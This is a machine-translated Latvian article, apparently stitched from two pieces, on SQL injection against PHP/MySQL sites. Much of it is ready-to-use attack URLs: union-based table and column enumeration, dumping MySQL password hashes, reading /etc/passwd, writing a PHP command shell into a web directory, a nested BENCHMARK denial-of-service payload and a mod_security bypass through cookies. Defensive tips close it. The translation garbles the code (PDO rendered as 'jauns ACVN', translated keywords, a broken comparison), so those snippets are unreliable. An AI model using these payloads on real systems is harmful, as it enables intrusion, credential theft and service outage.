Lielākajā daļā iepriekšējo piemēru aprakstītās problēmas var izvairīties, vaicājumos izmantojot vienas pēdiņas. Ja izmantojat addslashes() , SQL injekcijas uzbrukumi, kas balstās uz atsevišķām pēdiņām, kas ir izspiestas ar atpakaļvērstās slīpsvītru, neizdosies. Bet šāds uzbrukums var darboties, ja jūs vienkārši aizstājat rakstzīmi ar kodu 0xbf27, addslashes() pārvērš to par rakstzīmi ar kodu 0xbf5c27 - un šī ir pilnīgi derīga viena pēdiņa rakstzīme. Citiem vārdiem sakot, '뼧' tiks cauri addslashes(), un pēc tam MySQL kartēšana to pārveidos divās rakstzīmēs 0xbf (¿) un 0x27 (').

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["pieteikšanās"]) . ";"";

Šo piemēru var uzlauzt, nododot 뼧 vai 1=1; -- veidlapas pieteikšanās laukā. SQL dzinējs ģenerēs galīgo vaicājumu šādi:

SELECT * FROM users WHERE login = "¿" VAI 1=1; --

Un tas atgriezīs pirmo lietotāju no datu bāzes.

Aizsardzība

Kā aizsargāt lietojumprogrammu? Ir ļoti daudz metožu, kuru izmantošana nepadarīs aplikāciju pilnīgi neievainojamu, bet vismaz palielinās tās drošību.

Izmantojot mysql_real_escape_string

Funkcija addslashes() ir neuzticama, jo tā nepieļauj daudzus uzlaušanas gadījumus. mysql_real_escape_string šādu problēmu nav

Izmantojot MySQLi

Šis MySQL paplašinājums var darboties ar saistītiem parametriem:

$stmt = $db->prepare("atjaunināt uets iestatīto parametru = ? kur id =?"); $stmt->bind_param("si", $nosaukums, $id); $stmt->izpildīt();

Izmantojot ACVN

Garš ceļš uz parametru aizstāšanu:

$dbh = jauns ACVN("mysql:dbname=testdb;host=127.0.0.1", $lietotājs, $parole); $stmt = $dbh->prepare("INSERT INTO REGISTRY (nosaukums, vērtība) VALUES (:name, :value)"); $stmt->bindParam(":nosaukums", $nosaukums); $stmt->bindParam(":vērtība", $vērtība); // ievietot vienu rindu $name = "one"; $vērtība = 1; $stmt->izpildīt();

Īss ceļš:

$dbh = jauns ACVN("mysql:dbname=testdb;host=127.0.0.1", $lietotājs, $parole); $stmt = $dbh->prepare("ATJAUNINĀT personas SET name = :new_name WHERE id = :id"); $stmt->execute(masīvs("jaunais_nosaukums" => $nosaukums, "id" => $id));

Izmantojot ORM

Izmantojiet ORM un ACVN un saistīšanas (izmantojiet saistīšanas) parametrus. Izvairieties no SQL savā kodā, ja kodā redzat SQL, tad ar to kaut kas nav kārtībā.

ORM parūpēsies par drošību koda un parametru validācijas vājajās vietās.

secinājumus

Šīs sērijas mērķis nav sniegt pilnīgu ceļvedi par vietņu uzlaušanu, bet gan nodrošināt lietojumprogrammu drošību un novērst uzbrukumus no jebkura avota. Es mēģināju rakstīt šo rakstu ne tikai programmētājiem — viņiem ir jāzina par visiem kodā ietvertajiem draudiem un jāzina, kā tos novērst, bet arī kvalitātes inženieriem — jo viņu uzdevums ir izsekot un ziņot par šādām problēmām.

SQL injekcija ir ievainojamība, kas rodas, ja skriptā vai programmā no lietotāja saņemtās vērtības nav pietiekami pārbaudītas. Es apskatīšu injekcijas MySQL datu bāzē. Šī datubāze ir viena no visizplatītākajām. Ja nav norādīts citādi, mysql injekcija tiek uzskatīta par iespējamu php skriptā.
(5140 skatījumi 1 nedēļā

Fēnikss

vietne kopā ar Informzashita mācību centru un tiešsaistes programmatūras veikalu Softkey.ru rīko konkursu par labāko rakstu par informācijas drošības tēmu.

SQL injekcija ir ievainojamība, kas rodas, ja skriptā vai programmā no lietotāja saņemtās vērtības nav pietiekami pārbaudītas. Es apskatīšu injekcijas MySQL datu bāzē. Šī datubāze ir viena no visizplatītākajām. Ja nav norādīts citādi, tiek uzskatīts, ka mysql injekcija ir iespējama php skriptā.

SQL injekcijas klātbūtnes noteikšana.

Bieži vien par SQL injekcijas esamību var norādīt kļūdas, kas skaidri norāda, ka SQL vaicājumā ir radusies kļūda. Tajā pašā laikā kļūdas esamību SQL vaicājumā var novērtēt arī pēc netiešām pazīmēm.

Lai pārbaudītu, vai noteikts parametrs ir pilnībā filtrēts, mēs nododam nedaudz pārveidotas šī parametra vērtības. Piemēram, http://site/test.php?id=12 vietā mēs pārraidām.

http://site/test.php?id=12"

http://site/test.php?id=aaa

http://site/test.php?id=13-1

Ja pēdējais pieprasījums rada lapu, kas ir līdzīga http://site/test.php?id=12, vairumā gadījumu tas var skaidri norādīt uz SQL injekcijas esamību nefiltrētā veselā skaitļa parametrā.

Datu bāzes analīze, izmantojot MySQL injekciju.

Tātad, pieņemsim, ka mēs zinām par nepietiekamu ID parametra filtrēšanu skriptā http://site/test.php?id=12

Detalizētu kļūdu ziņojumu klātbūtne ar SQL vaicājuma tekstu, kurā radās kļūda, līdz minimumam samazinās SQL injekcijas izmantošanas grūtības. Tomēr daudz var izdarīt pat tad, ja netiek parādīti nekādi kļūdu ziņojumi.

Lūdzu, ņemiet vērā, ka pat tad, ja kļūdas teksts netiek parādīts, jūs joprojām varat skaidri noteikt, vai ir radusies kļūda (piemēram, vaicājums atgrieza tukšu rezultātu).

Jo īpaši ir iespējams, ka kļūdas gadījumā tiek atgriezts atbildes kods 500 vai novirzīšana uz galveno lapu, savukārt, ja pieprasījuma rezultāts ir tukšs, tiks atgriezta tukša lapa.

Lai identificētu šīs nenozīmīgās pazīmes, jums ir jāraksta http vaicājumi, par kuriem jūs zināt, ka tie novedīs pie pareiza (bet atgriežot tukšu izvadi) SQL vaicājumu un kas novedīs pie nepareiza SQL vaicājuma. Piemēram, ja id parametrs nav filtrēts

http://site/test.php?id=99999, iespējams, atgriezīs tukšu sql vaicājumu, kamēr

http://site/test.php?id=99999" vajadzētu radīt kļūdu.

Tagad, zinot, kā atšķirt kļūdainu pieprasījumu no tukša, mēs sākam konsekventi iegūt informāciju par pieprasījumu un datu bāzi.

Apskatīsim gadījumu, kad injekcija notiek pēc kur. Ja mēs domājam par MySQL datu bāzi, tad informācijas izgūšana no datu bāzes ir iespējama tikai tad, ja serverim ir versija 4.*, tad vaicājumā ir iespējams ievietot savienību

1) lauku skaits starp atlasi un vietu

Mēs cenšamies secīgi, līdz saņemam pareizo pieprasījumu:

http://site/test.php?id=99999+union+select+null/*

http://site/test.php?id=99999+union+select+null,null/*

Turklāt, ja nav iespējams atdalīt nederīgu pieprasījumu no tā, kas atgrieza tukšu rezultātu, varat rīkoties šādi:

http://site/test.php?id=12+union+select+null/*

http://site/test.php?id=12+union+select+null,null/*

Lai to izdarītu, mums pietiek ar to, ka varam atdalīt pareizo vaicājumu no nepareizā, un tas vienmēr ir iespējams, ja ir SQL injekcijas fakts.

Kad mēs saņemsim pareizo vaicājumu, nulles skaits būs vienāds ar lauku skaitu starp atlasi un kur

2) kolonnas numurs ar izvadi. Mums būs jāzina, kurā kolonnā notiek lapas izvade.

Tajā pašā laikā, ja lapā ir attēloti vairāki parametri, tad labāk ir atrast to, kuram šķiet vislielākais datu tipa izmērs (vislabāk teksts), piemēram, preces apraksts, raksta teksts utt. Mēs viņu meklējam:

http://site/test.php?id=9999+union+select+"test",null,null/*

http://site/test.php?id=9999+union+select+null,"test",null/*

Un līdz brīdim, kad mēs redzam vārdu testu mums vajadzīgajā vietā.

Lūdzu, ņemiet vērā, ka šajā gadījumā viens no šiem vaicājumiem noteikti atgriezīs vērtību, kas nav tukša.

Šeit jūs varat saskarties ar kļūmi: skriptā var būt pārbaude, lai redzētu, vai kāds no parametriem ir tukšs (piemēram, id), šeit jums būs jāizmanto MySQL rekvizīts, var tikt nodots skaitlisks veids jebkura veida datu, neizraisot kļūdu, un tādā veidā, lai tas saglabātu savu nozīmi.

http://site/test.php?id=9999+union+select+1,2,3/*

Tas pats triks darbosies arī tad, ja pēdiņas tiek izmantotas.

Sākuma komentārs tiek pievienots, lai atmestu pārējo pieprasījumu, ja tāds ir. MySQL parasti reaģē uz neaizvērtiem komentāriem.

3) tabulu nosaukumi

Tagad varat atkārtot tabulu nosaukumus.

http://site/test.php?id=12+union+select+null,null,null+from+table1/*

Derīgie vaicājumi atbildīs esošajiem tabulu nosaukumiem. Droši vien būs interesanti pārbaudīt lietotāju, paroļu, reguseru utt. utt. tabulu esamību.

4)sistēmas informācija

Mums jau ir pietiekami daudz informācijas, lai iesniegtu šādu pieprasījumu.

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

Ja jums ir tiesības izvēlēties no mysql datu bāzes, šis vaicājums atgriezīs paroles jaucējkodu, ko vairumā gadījumu var viegli atšifrēt. Ja tiek parādīta tikai viena pieprasījuma rindiņa (piemēram, raksta pamatteksta vietā), varat pārvietoties pa rindiņām

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0.1/*

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

Turklāt jūs varat uzzināt daudz interesantu lietu:

http://site/test.php?id=9999+union+select+null,DATABASE(),null/*

http://site/test.php?id=9999+union+select+null,USER(),null/*

http://site/test.php?id=9999+union+select+null,VERSION(),null/*

5) kolonnu nosaukumi tabulā

Tie ir līdzīgi, varat kārtot: http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* un tā tālāk.

teksta faili, izmantojot MySQL injekciju.

Ja lietotājam, ar kuru piekļūst datu bāzei, ir tiesības uz failu_privitāti, varat iegūt patvaļīga faila tekstu

http://site/test.php?id=9999+union+select+null,LOAD_FILE("/etc/passwd"),null/*

failu rakstīšana tīmekļa direktorijā (php apvalks).

Kā liecina prakse, ja mums ir tiesības uz failu_privitāti, direktoriju, ko var ierakstīt visi lietotāji, kas ir pieejams arī no tīmekļa (dažreiz augšupielādes, baneri utt. direktoriji), un mēs zinām arī vismaz vienas tabulas nosaukumu (mysql.user, piemēram, tas darbosies, ja jums ir piekļuve mysql datu bāzei), varat augšupielādēt patvaļīgu failu serverī, izmantojot šāda veida injekciju.

http://site/test.php?id=9999+union+select+null,"+system($cmd)+?
>",null+from+table1+into+outfile+"/usr/local/site/www/banners/cmd.php"/*

Šajā gadījumā ir nepieciešama konstrukcija no tabulas1.

Ja papildus vietnei ir ievainojamība, kas ļauj izpildīt patvaļīgus failus serverī (include("/path/$file.php")), tad jebkurā gadījumā varat augšupielādēt php čaulu, piemēram, , uz direktoriju /tmp/ un pēc tam paņemiet šo failu no turienes, izmantojot ievainojamību iekļautajā.

injekcija pēcierobežojums.

Diezgan bieži SQL injekcijas iespēja rodas limitam nodotā ​​parametra ietvaros. Tas varētu būt lapas numurs utt., utt.

Prakse rāda, ka šajā gadījumā var piemērot visu iepriekš minēto.

MySQL pareizi atbild uz tādiem vaicājumiem kā:

Atlasīt… ierobežojums 1,2 savienības atlase….

Atlasīt… ierobežojums 1 savienība atlasīt….

Ja vēlaties, lai pirmais apakšvaicājums atgrieztu tukšu rezultātu, jums ir mākslīgi jāiestata lielas nobīdes pirmajam vaicājumam:

Atlasīt... ierobežojums 99999.1 savienība atlasīt.... Vai arī Atlasīt... ierobežojums 1,0 savienība atlasīt....

dažas nepilnības.

Visbiežāk sastopamā kļūme var būt maģisko citātu iekļaušana php konfigurācijā. Virkņu parametru gadījumā tas parasti ļaus izvairīties no SQL injekcijas iespējas, savukārt veselu skaitļu (daļskaitļu) parametru gadījumā šādos vaicājumos nebūs iespējams izmantot pēdiņas un līdz ar to arī virknes.

Daļēji funkcija char palīdzēs mums atrisināt šo problēmu, kas atgriež virkni pēc rakstzīmju kodiem. Piemēram

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null/*

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null+from_table1/*

http://site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/*

Vienīgais ierobežojums. Ja vēlaties ievadīt failu outfile, faila nosaukums ir jānodod pēdiņās kā faila nosaukums. outfile char(...) rada kļūdu.

2) Mod_security.

Šķiet, ka šis Apache tīmekļa servera modulis neļauj izmantot SQL injekcijas ievainojamību. Tomēr ar dažām PHP un šī moduļa konfigurācijām uzbrukumu var veikt pārskatāmi šim modulim.

Moduļa mod_security noklusējuma konfigurācija nefiltrē vērtības, kas nodotas kā sīkfaili. Tajā pašā laikā dažos gadījumos un arī dažās noklusējuma php konfigurācijās sīkfailu mainīgie tiek reģistrēti automātiski.

Tādējādi ļaunprātīgas mainīgās vērtības var tikt nodotas kā sīkfailu vērtības, kas ir pilnībā pārredzamas mod_security.

DOS uz MySQL injekcija.

Ja vaicājumā nav iespējams izmantot savienību, piemēram, MySQL ir versija 3.*, tad tomēr injekciju var izmantot, piemēram, lai piespiestu datu bāzes serveri izsmelt visus tā resursus.

Lai to izdarītu, izmantosim funkciju BENCHMARK, kas atkārto izteiksmes izteiksmes izpildi noteiktu skaitu reižu, kas norādīts skaitīšanas argumentā. Kā pamata izteiksmi pieņemsim funkciju, kas pati par sevi prasa zināmu laiku. Piemēram, md5(). Ņemsim par virkni pašreizējo_datums, lai virknē nebūtu pēdiņas. BENCHMARK funkcijas var būt ligzdotas viena otrai. Un tā, izveidosim pieprasījumu:

http://site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(pašreizējais_datums)))

Tiek izpildīti 1000000 md5 pieprasījumu (atkarībā no servera jaudas), aptuveni 5 sekundēs, 10000000 tiks izpildīti aptuveni 50 sekundēs. Ligzdotā etalona izpilde jebkurā serverī prasīs ļoti ilgu laiku. Tagad atliek tikai nosūtīt līdz pat vairākiem desmitiem līdzīgu http pieprasījumu sekundē, lai serveris nepārtraukti pārtrauktu darbību.

cita veida MySQL injekcijas.

Ar veselu skaitļu vērtību filtrēšanu veselu skaitļu parametriem un pēdiņām virknes parametriem dažreiz nepietiek. Dažreiz speciālo rakstzīmju % un _ izmantošana līdzīgā vaicājumā var izraisīt neparedzētu funkcionalitāti. Piemēram:

mysql_query("izvēlieties ID no lietotājiem, kur parole, piemēram, ".addslashes($password)."" un lietotājs, piemēram, ".addslashes($user).""");

šajā gadījumā parole % derēs jebkuram lietotājam

apache mod_rewrite

Dažos gadījumos SCL injekcija ir iespējama pat parametrā, kas tiek pārveidots ar Apache moduļa mod_rewrite metodēm par GET skripta parametru.

Piemēram, skripti, piemēram, /news/127.html, tiek pārveidoti par /news/news.php?id=127, izmantojot šādu noteikumu: RewriteRule ^/news/(.*)\.html$ "/news/news.php? id=$1"

Tas ļaus skriptam nodot ļaunprātīgas parametru vērtības. Tā, piemēram, /news/128-1.html

Ja tiek parādīti detalizēti kļūdu ziņojumi, jūs varat nekavējoties uzzināt čīkstēšanas adresi un pēc tam, izvēloties parametru, strādāt ar to. Ja nē, varat izmeklēt ievainojamību, tieši rediģējot faila nosaukumu.

Īsumā par aizsardzību.

Lai pasargātu sevi no visa iepriekš minētā, pietiek ievērot dažus vienkāršus noteikumus.

1) veseliem skaitļiem un daļskaitļiem, pirms to izmantošanas vaicājumā, pietiek ar vērtību konvertēšanu uz vēlamo veidu.

$id=(int)$id; $kopā=(pludināt)$kopā;

Tā vietā varat ievietot izsekošanas sistēmu SQL injekcijas testēšanai.

if((virkne)$id(virkne)(int)$id) (

//rakstiet žurnālam par mēģinājumu

2) virknes parametriem, kas netiek izmantoti like, regexp utt., mēs izvairāmies no pēdiņām.

$str=addslashes($str);

vai vēl labāk,

mysql_escape_string($str)

3) rindās, kuras paredzēts lietot iekšā like, regexp u.c., nepieciešamības gadījumā ir arī jāizvairās no šajos operatoros lietotajām speciālajām rakstzīmēm. Pretējā gadījumā varat dokumentēt šo simbolu lietošanu.

Mācību centrs "Informzashita" http://www.itsecurity.ru - vadošais specializētais centrs informācijas drošības apmācību jomā (Maskavas Izglītības komitejas licence Nr. 015470, Valsts akreditācijas Nr. 004251). Vienīgais autorizētais Internet Security Systems un Clearswift apmācību centrs Krievijā un NVS valstīs. Microsoft autorizēts mācību centrs (drošības specializācija). Mācību programmas tiek saskaņotas ar Krievijas Valsts tehnisko komisiju FSB (FAPSI). Apmācības sertifikāti un valsts dokumenti par kvalifikācijas paaugstināšanu.

SoftKey ir unikāls pakalpojums pircējiem, izstrādātājiem, izplatītājiem un saistītajiem partneriem. Turklāt šis ir viens no labākajiem tiešsaistes programmatūras veikaliem Krievijā, Ukrainā, Kazahstānā, kas piedāvā klientiem plašu produktu klāstu, daudzus norēķinu veidus, operatīvu (bieži vien tūlītēju) pasūtījuma apstrādi, pasūtījuma procesa izsekošanu personīgajā sadaļā, dažādas atlaides no veikala un ražotājiem BY.




Tops